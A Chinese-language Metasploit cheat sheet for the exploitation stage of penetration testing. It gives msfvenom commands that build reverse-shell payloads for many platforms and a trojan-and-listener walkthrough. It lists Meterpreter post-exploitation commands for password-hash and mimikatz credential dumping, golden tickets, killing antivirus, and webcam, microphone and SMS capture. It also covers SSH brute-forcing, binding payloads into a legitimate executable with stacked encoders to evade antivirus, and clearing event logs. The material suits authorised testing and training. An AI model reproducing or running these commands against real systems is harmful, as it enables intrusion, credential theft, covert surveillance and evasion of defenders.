目录
渗透阶段划分
msfvenom 常用参数
各平台生成payload命令
Meterpreter
Meterpreter的常用命令
基本命令
常用命令
针对安卓手机的一些命令
针对Windows的一些命令
文件系统命令
生成木马反弹shell(以linux靶机为例)
木马生成
配置监控
攻击利用
辅助模块
怎么查询 Auxiliary辅助模块
Auxiliary辅助模块分类
通过分类查询指定模块
怎么调用模块
更多
免杀
不处理payload直接生成样本进行检测
MSF自编码处理payload生成样本进行检测
MSF自捆绑处理payload生成样本进行检测
编辑
MSF自捆绑+编码处理payload生成样本进行检测
MSF多重编码payload生成样本进行检测
生成Shellcode使用C语言调用
清除事件日志
渗透阶段划分
漏洞利用分为 前期交互 情报搜集 威胁建模 漏洞分析 渗透利用 后渗透利用 报告 这几个阶段
正如标题所说,本篇文章讨论的是渗透利用阶段
msfvenom 常用参数
-l 列出指定模块的所有可用资源,模块类型包括: payloads, encoders, nops, all
-p 指定需要使用的payload(攻击荷载)。
-f 指定输出格式
Executable formats:Asp、aspx、aspx-exe、axis2、dll、elf、elf-so、exe、exe-only、exe-service、exe-smallhta-psh、jar、jsp、loop-vbs、macho、msi、msi-nouac、osx-app、psh、psh-cmd、psh-net、psh-reflection、python-reflection、vba、vba-exe、vba-psh、vbs、war;
Transform formats:base32、base64、bash、c、csharp、dw、dword、hex、java、js_be、js_le、num、perl、pl、powershell、ps1、py、python、raw、rb、ruby、sh、vbapplication、vbscript;
-e 指定需要使用的encoder(编码器)编码免杀。
-a 指定payload的目标架构
选择架构平台:
x86 | x64 | x86_64 Platforms:windows, netware, android, java, ruby, linux, cisco, solaris, osx, bsd, openbsd, bsdi, netbsd, freebsd, aix, hpux, irix, unix, php, javascript, python, nodejs, firefox, mainframe
-o 保存payload文件输出。
-b 设定规避字符集,比如: '\x00\xff'避免使用的字符
-n 为payload预先指定一个NOP滑动长度
-s 设定有效攻击荷载的最大长度生成payload的最大长度,就是文件大小。
-i 指定payload的编码次数
-c 指定一个附加的win32 shellcode文件
-x 指定一个自定义的可执行文件作为模板 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-k 保护模板程序的动作,注入的payload作为一个新的进程运行 例如:原先有个正常文件normal.exe 可以通过这个选项把后门捆绑到这个程序上面。
-v 指定一个自定义的变量,以确定输出格式
各平台生成payload命令
Windows
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.3.33 LPORT=4444 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 10 -f exe -o payload.exe
Mac
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.3.33 LPORT=4444 -f macho -o payload.macho
Android
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -o payload.apk
Powershell
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
Linux
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f elf -o payload.elf
php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f raw > shell.php
aspx
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=8888 -f aspx -o payload.aspx
JSP
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.jsp
war
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw - o payload.war
nodejs
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.js
python
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.py
perl
msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.pl
ruby
msfvenom -p ruby/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.rb
lua
msfvenom -p cmd/unix/reverse_lua LHOST=192.168.1.1 LPORT=4567 -f raw -o payload.lua
windows shellcode
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
linux shellcode
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
mac shellcode
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4567 -f c
Meterpreter
Meterpreter是Metasploit框架中的一个利器,作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后会返回一个由我们控制的通道,可用于远程执行命令
Metasploit提供了各个主流平台的Meterpreter版本,包括Windows、Linux,同时支持x86、x64平台,另外,Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的,好处是启动隐藏,很难被杀毒软件监测到。不需要访问目标主机磁盘,所以也没什么入侵的痕迹。除上述外,Meterpreter还支持Ruby脚本形式的扩展,所以Ruby语言还很有必要了解下。
Meterpreter的常用命令
基本命令
help# 查看Meterpreter帮助
background#返回,把meterpreter后台挂起
bgkill# 杀死一个 meterpreter 脚本
bglist#提供所有正在运行的后台脚本的列表
bgrun#作为一个后台线程运行脚本
channel#显示活动频道
sessions -i number # 与会话进行交互,number表示第n个session,使用session -i 连接到指定序号的meterpreter会话已继续利用
sesssions -k number #与会话进行交互
close# 关闭通道
exit# 终止 meterpreter 会话
quit# 终止 meterpreter 会话
interact id #切换进一个信道
run#执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等
irb# 进入 Ruby 脚本模式
read# 从通道读取数据write# 将数据写入到一个通道
run和bgrun# 前台和后台执行以后它选定的 meterpreter 脚本
use# 加载 meterpreter 的扩展
load/use#加载模块
Resource#执行一个已有的rc脚本
常用命令
针对安卓手机的一些命令
获取手机通讯录: dump_contacts
获取短信记录:dump_sms
控制实验手机发短信:send_sms -d 15330252525 -t "hello"
获取实验手机GPS定位信息:geolocate
获取实验手机Wi-Fi定位信息:wlan_geolocate
控制实验手机录音:record_mic -d 5
获取实验手机相机设备:webcam_list
控制实验手机拍照 :webcam_snap
直播实验手机摄像头:webcam_stream
针对Windows的一些命令
查看进程:ps
查看当前进程号:getpid
查看系统信息:sysinfo
查看目标机是否为虚拟机:run post/windows/gather/checkvm
查看完整网络设置:route
查看当前权限:getuid
自动提权:getsystem
关闭杀毒软件:run post/windows/manage/killav
启动远程桌面协议:run post/windows/manage/enable_rdp
列举当前登录的用户:run post/windows/gather/enum_logged_on_users
查看当前应用程序:run post/windows/gather/enum_applications
抓取目标机的屏幕截图:load espia ; screengrab
获取相机设备:webcam_list
控制拍照 :webcam_snap
直播摄像头:webcam_stream
控制录音:record_mic
查看当前处于目标机的那个目录:pwd
查看当前目录:getlwd
导出当前用户密码哈希 run hashdump
用户名:SID:LM哈希:NTLM哈希:::
也可以使用下面这个命令导出 权限更高 run windows/gather/smart_hashdump
抓取自动登录的用户名和密码 run windows/gather/credentials/windows_autologin
直接获取明文密码(注意这个功能需要获取系统权限 获取系统权限需要输入getsystem)
首选终端输入 load kiwi 加载kiwi
creds_all:列举所有凭据
creds_kerberos:列举所有kerberos凭据
creds_msv:列举所有msv凭据
creds_ssp:列举所有ssp凭据
creds_tspkg:列举所有tspkg凭据
creds_wdigest:列举所有wdigest凭据
dcsync:通过DCSync检索用户帐户信息
dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create:创建黄金票据
kerberos_ticket_list:列举kerberos票据
kerberos_ticket_purge:清除kerberos票据
kerberos_ticket_use:使用kerberos票据
kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam:dump出lsa的SAM lsa_dump_secrets:dump出lsa的密文
password_change:修改密码
wifi_list:列出当前用户的wifi配置文件
wifi_list_shared:列出共享wifi配置文件/编码
文件系统命令
cat c:\boot.ini#查看文件内容,文件必须存在
del c:\boot.ini #删除指定的文件
upload /root/Desktop/netcat.exe c:\ # 上传文件到目标机主上,如upload setup.exe C:\windows\system32
download nimeia.txt /root/Desktop/ # 下载文件到本机上如:download C:\boot.ini /root/或者download C:\"ProgramFiles"\Tencent\QQ\Users\295**125\Msg2.0.db /root/
edit c:\boot.ini # 编辑文件
getlwd#打印本地目录
getwd#打印工作目录
lcd#更改本地目录
ls#列出在当前目录中的文件列表
lpwd#打印本地目录
pwd#输出工作目录
cd c:\ #进入目录文件下
rm file #删除文件
mkdir dier #在受害者系统上的创建目录
rmdir#受害者系统上删除目录
dir#列出目标主机的文件和文件夹信息
mv#修改目标主机上的文件名
search -d d:\www -f web.config #search 文件,如search -d c:\ -f.doc
meterpreter > search -f autoexec.bat #搜索文件
meterpreter > search -f sea.bat c:\xamp\
enumdesktops #用户登录数
生成木马反弹shell(以linux靶机为例)
木马生成
1. 生成一个Linux后门
2. msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={监控IP} LPORT={监控端口} -f elf > shell.elf
配置监控
1. 启动msf 终端内输入:msfconsole 启动msf
2. 载入监控模块 msf中输入: use exploit/multi/handler
3. 加载payload msf终端中输入:set payload linux/x64/meterpreter/reverse_tcp
4. 配置payload msf终端中输入:show options
5. 配置payload监控IP msf终端中输入: set lhost {监控IP}
6. 配置payload监控端口 msf终端中输入:set lport {监控端口} (注意这里要和木马配置时使用的端口相同&如果使用内网穿透服务填写转发后的端口)
7. 检查payload配置 msf终端中输入:show options
8. 执行监控 msf终端中输入: run
攻击利用
1. 将木马上传到靶机
通过python创建一个简单web服务
python2 -m SimpleHTTPServer 80
2. 在靶机上执行木马
3. 完成攻击利用
辅助模块
怎么查询 Auxiliary辅助模块
我们可以通过以下命令查询所有 Auxiliary辅助模块
use auxiliary/ 或 show auxiliary
Auxiliary辅助模块分类
admin
/admin/android
/admin/http
/admin/mysql/
/admin/oracle/
/admin/vmware/
/admin/smb/
dos
/dos/android/
/dos/http/
/dos/cisco/
/dos/dns/
/dos/smb/
/dos/windows/ftp/
fuzzers
/fuzzers/http/
/fuzzers/smb/
/gather/
scanner
/scanner/portscan/
/scanner/ftp/
/scanner/http/
/scanner/ssh/
/scanner/smb/
/scanner/vmware/
/scanner/vnc/
/scanner/telnet/
/scanner/msyql/
/scanner/ntp/
/scanner/openvas/
/scanner/sap/
server
/server/
通过分类查询指定模块
通过search查询指定模块
search type:auxiliary name:smb
type: 后门跟的的模块类型 name : 后门跟的就是要搜的模块名
怎么调用模块
我们调一个smb模块演示
1 查询与SMB 相关的辅助模块
search type:auxiliary name:smb
2 加载一个ms17_010探测模块
use auxiliary/scanner/smb/smb_ms17_010
3 查看载入模块需要配置的参数
show options
set RHOSTS 192.168.110.110 (设定目标IP)
set THREADS 10 (如果觉得探测过慢可以增加线程,根据电脑实际性能来不要配置太多 个人建议最大10)
run (执行探测)
更多
1 whois查看域名或IP信息 (hu yi zi)
whois www.baidu.com
whois 192.168.0.1
2 利用辅助模块查找邮箱
use auxiliary/gather/search_email_collector
3 DNS枚举,使用auxiliary模块下的DNS枚举模块:
use auxiliary/gather/enum_dns
4 ssh爆破,使用auxiliary模块下的ssh_login
use /auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.92 (设定目标IP)
set USERNAME root (设定ssh登陆账户)
set PASS_FILE /kevin/ssh_passwd.txt (设定暴力字典)
set THREADS 100 (线程设置为100)
show options (查看更改后的参数)12345
run 开始爆破
免杀
要用到的在线查毒工具virscan
VirScan - 多引擎文件在线检测平台
不处理payload直接生成样本进行检测
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.32 LPORT=4456 -f exe -o payload1.exe
进行查毒有41%的杀毒软件报毒了
具体查毒链接:VirScan - 多引擎文件在线检测平台
MSF自编码处理payload生成样本进行检测
首先我们输入 msfvenom --list encoders 查看可以用编码模块
我们使用 x86/shikata_ga_nai 模块 免杀中使用频率最高的一个编码器
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai HOST=192.168.110.110 LPORT=4456 -f exe -o payload1.exe
进行查毒有37%的杀毒软件报毒了
MSF自捆绑处理payload生成样本进行检测
使用msfvenom的-x参数可以指定一个可执行文件,将payload与其捆绑
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -x UltraISO.exe -f exe -o payload2.exe
进行查毒有33%的杀毒软件报毒了
MSF自捆绑+编码处理payload生成样本进行检测
结合第二种,第三种。编码方式我们再次生成样本
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -e x86/shikata_ga_nai -x UltraISO.exe -i 10 -f exe -o payload3.exe
进行查毒有31%的杀毒软件报毒了
那我们继续增加编码次数
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -e x86/shikata_ga_nai -x UltraISO.exe -i 20 -f exe -o payload4.exe
进行查毒有27%的杀毒软件报毒了!
MSF多重编码payload生成样本进行检测
通过管道,让msfvenom用不同编码器反复编码进行混淆。使用管道让msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码10次,接着来10次的alpha_upper编码,再来10次的countdown编码,最后才生成以payload5.exe为模板的可执行文件。
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 LHOST=192.168.110.110 LPORT=4456 -f raw | msfvenom -e x86/alpha_upper -i 10 -f raw | msfvenom -e x86/countdown -i 10 -x UltraISO.exe -f exe -o payload5.exe
生成Shellcode使用C语言调用
1、直接在linux中利用msf的meterpreter生成的文件以.c形式文件存储,得到机器码。命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.110.110 LPORT=4456 -f c >c0001.c
2、改c文件,并编译,并加壳
随便写一个hello world
main() { printf("hello world\n"); }
然后编译 并加壳
vmp加壳工具
清除事件日志
进入肉鸡执行一些操作时,windows 下记录的操作日志可在日志查看器中进行查看,可以通过运行 eventvwr 命令打开。包括了应用程序、系统、安全等模块的日志,为了不让其查到自己或知道自己的操作,则可以使用 meterpreter 的 clearev 命令来清除其日志。未清除日志前可查看系统记录的一些处理信息。
然后在 meterpreter 下执行 clearev 命令,可以看到清除提示,分别清除了应用程序,系统和安全模块的日志记录。
clearev 清理日志
(注意 使用clearev命令时 需要获得靶机的 system 权限)